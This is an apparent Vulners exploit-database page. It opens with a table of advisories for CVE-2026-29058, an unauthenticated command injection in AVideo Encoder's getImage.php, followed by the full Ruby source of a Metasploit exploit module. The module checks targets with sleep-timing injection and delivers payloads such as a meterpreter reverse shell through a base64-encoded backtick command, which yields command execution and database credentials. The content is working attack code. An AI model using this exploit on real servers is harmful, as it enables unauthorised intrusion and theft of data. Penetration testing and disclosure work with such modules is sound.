| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-29058 | 6 Mar 202607:08 | β | attackerkb | |
| CVE-2026-29058 | 6 Mar 202607:30 | β | circl | |
| AVideo ζδ½η³»η»ε½δ»€ζ³¨ε ₯ζΌζ΄ | 6 Mar 202600:00 | β | cnnvd | |
| CVE-2026-29058 | 6 Mar 202607:08 | β | cve | |
| CVE-2026-29058 AVideo: Unauthenticated OS Command Injection via base64Url in objects/getImage.php | 6 Mar 202607:08 | β | cvelist | |
| WWBN AVideo is vulnerable to unauthenticated OS Command Injection via base64Url in objects/getImage.php | 3 Mar 202620:02 | β | github | |
| AVideo Encoder getImage.php Unauthenticated Command Injection | 19 Mar 202618:56 | β | metasploit | |
| CVE-2026-29058 | 6 Mar 202607:16 | β | nvd | |
| CVE-2026-29058 AVideo: Unauthenticated OS Command Injection via base64Url in objects/getImage.php | 6 Mar 202607:08 | β | osv | |
| GHSA-9J26-99JH-V26Q WWBN AVideo is vulnerable to unauthenticated OS Command Injection via base64Url in objects/getImage.php | 3 Mar 202620:02 | β | osv |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated OS command injection vulnerability
in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
The base64Url GET parameter is base64-decoded and injected directly into an
ffmpeg shell command within double quotes, without any sanitization or use of
escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
metacharacters such as $() in the URL path, allowing command substitution.
A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
The Encoder code is served by the main AVideo Apache container (mounted at
/Encoder), so exploitation gives access to the main application context including
database credentials and configuration.
Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
and shell metacharacter stripping.
},
'Author' => [
'arkmarta', # Vulnerability discovery -- props to you man
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-29058'],
['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'DefaultOptions' => {
'ENCODER' => 'generic/none',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-03-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
])
end
def check
res = send_getimage('true')
return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
hits = 0
3.times do |i|
sleep_time = rand(1..3)
vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
_, elapsed = Rex::Stopwatch.elapsed_time do
send_getimage("sleep${IFS}#{sleep_time}")
end
next unless elapsed >= (sleep_time - 0.5)
vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
hits += 1
end
return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
end
def exploit
print_status('Sending command injection via getImage.php...')
send_getimage(payload.encoded.gsub(' ', '${IFS}'))
end
def send_getimage(cmd)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
'method' => 'GET',
'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
})
end
endData
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation